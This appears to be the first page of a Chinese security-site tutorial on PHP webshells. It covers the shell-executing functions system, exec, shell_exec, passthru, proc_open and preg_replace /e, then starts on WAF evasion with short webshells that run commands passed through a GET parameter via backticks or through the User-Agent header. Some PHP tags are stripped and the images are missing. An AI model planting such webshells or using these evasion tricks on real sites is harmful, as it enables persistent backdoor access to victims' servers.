FavoriteLoading
0

php webshell分析和绕过waf技巧

WebShell是攻击者使用的恶意脚本,它的用途主要是在攻击后的Web应用程序上建立持久性的后门。webshell本身不能攻击或者利用远程漏洞,所以说它总是攻击的第二阶段,这个阶段我们经常称为post-exploitation。(PS:Post Exploitation是国外渗透测试标准里面的一个阶段)
WebShell常用函数
现在的Web应用程序基本上是采用PHP开发的,所以本篇文章也主要介绍的是php环境下的WebShell。WebShell无非就是使用PHP内置的函数来执行命令,以下就是用于在php中执行shell命令的一些最常用的函数。
system()
system()函数接收命令作为参数,并输出结果。
以下示例演示了运行dir命令,显示执行php文件目录的目录列表:
system('dir');
?>
-->
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:\phpstudy\WWW 的目录 2016-12-02 15:39
. 2016-12-02 15:39
.. 2016-12-02 15:38 56 hello.php 2016-12-02 15:38 29 system.php 2016-12-02 15:39
test 2 个文件 85 字节 3 个目录 871,600,128 可用字节
exec()
exec()函数接收一个命令作为参数,当不输出结果,如果指定第二个可选参数,则结果将作为数组返回。否则,如果回显,将只显示结果的最后一行。

exec('dir')
?>
-->
我们可以使用echo来输出exec()函数的结果。可以发现只有结果的最后一行。
echo exec('dir');
?>
-->

3 个目录 871,538,688 可用字节
如果指定第二个参数,则在数组中返回结果。

echo exec('dir',$array);
print_r($array);
?>
-->
3 个目录 871,538,688 可用字节Array ( [0] => 驱动器 C 中的卷没有标签。 [1] => 卷的序列号是 7C53-7529 [2] => [3] => C:\phpstudy\WWW 的目录 [4] => [5] => 2016-12-02 15:52
. [6] => 2016-12-02 15:52
.. [7] => 2016-12-02 16:15 53 exec.php [8] => 2016-12-02 15:38 56 hello.php [9] => 2016-12-02 15:46 25 system.php [10] => 2016-12-02 15:39
test [11] => 3 个文件 134 字节 [12] => 3 个目录 871,538,688 可用字节 )
shell_exec()
shell_exec()函数类似于exec()函数,但不同的是,它会将整个结果作为字符串输出。
echo shell_exec('dir');
?>
-->
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:\phpstudy\WWW 的目录 2016-12-02 16:26
. 2016-12-02 16:26
.. 2016-12-02 16:15 53 exec.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39
test 4 个文件 168 字节 3 个目录 871,460,864 可用字节
passthru()
passthru()函数执行命令并返回输出。
passthru('dir');
?>
-->
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:\phpstudy\WWW 的目录 2016-12-02 16:35
. 2016-12-02 16:35
.. 2016-12-02 16:15 53 exec.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:35 27 passthru.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39
test 5 个文件 195 字节 3 个目录 871,456,768 可用字节
proc_open()
proc_open()函数执行一个命令,并且打开用来输入/输出的文件指针。
这个函数可能很难理解,简单的来说,通过使用proc_open()函数,我们可以创建一个进程用于我们的脚本和我们想要运行程序之间的通信。详见PHP文档:
http://php.net/manual/zh/function.proc-open.php
preg_replace()与/e修饰符
preg_replace()函数可以执行正则表达式的搜索和替换
如果使用/e修饰符,意味着使用eval执行替换,这样我们就可以传递一个要由eval()函数执行的代码
preg_replace('/.*/e', 'system("net user");', '');
?>
-->

\\ 的用户帐户 ------------------------------------------------------------------------------- Administrator ASPNET Guest HelpAssistant SUPPORT_388945a0 命令运行完毕,但发生一个或多个错误。
反引号
肯定很多人没有注意到这点吧,php将反引号的内容作为shell命令执行。
$string=`$_GET[id]`;
echo "
$string";
?>
结果:

某WAF也没扫描到:

隐藏WebShell-免杀之路
利用HTTP请求头
在php中,我们可以很容易获取到HTTP请求头里面的某些特殊字符串头,比如User-Agent。同样的原理,我也可以利用这个来传入需要执行的命令。

'HTTP_USER_AGENT'])?>
通过User-Agent传入命令执行:

某waf也是扫描到,当然除了User-Agent,我们还有Accept-Language等特殊字符串头,这里就不做演示了,主要的还是方法。

分页阅读: 1 2 3
【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱hack@ddos.social,我们会在最短的时间内进行处理。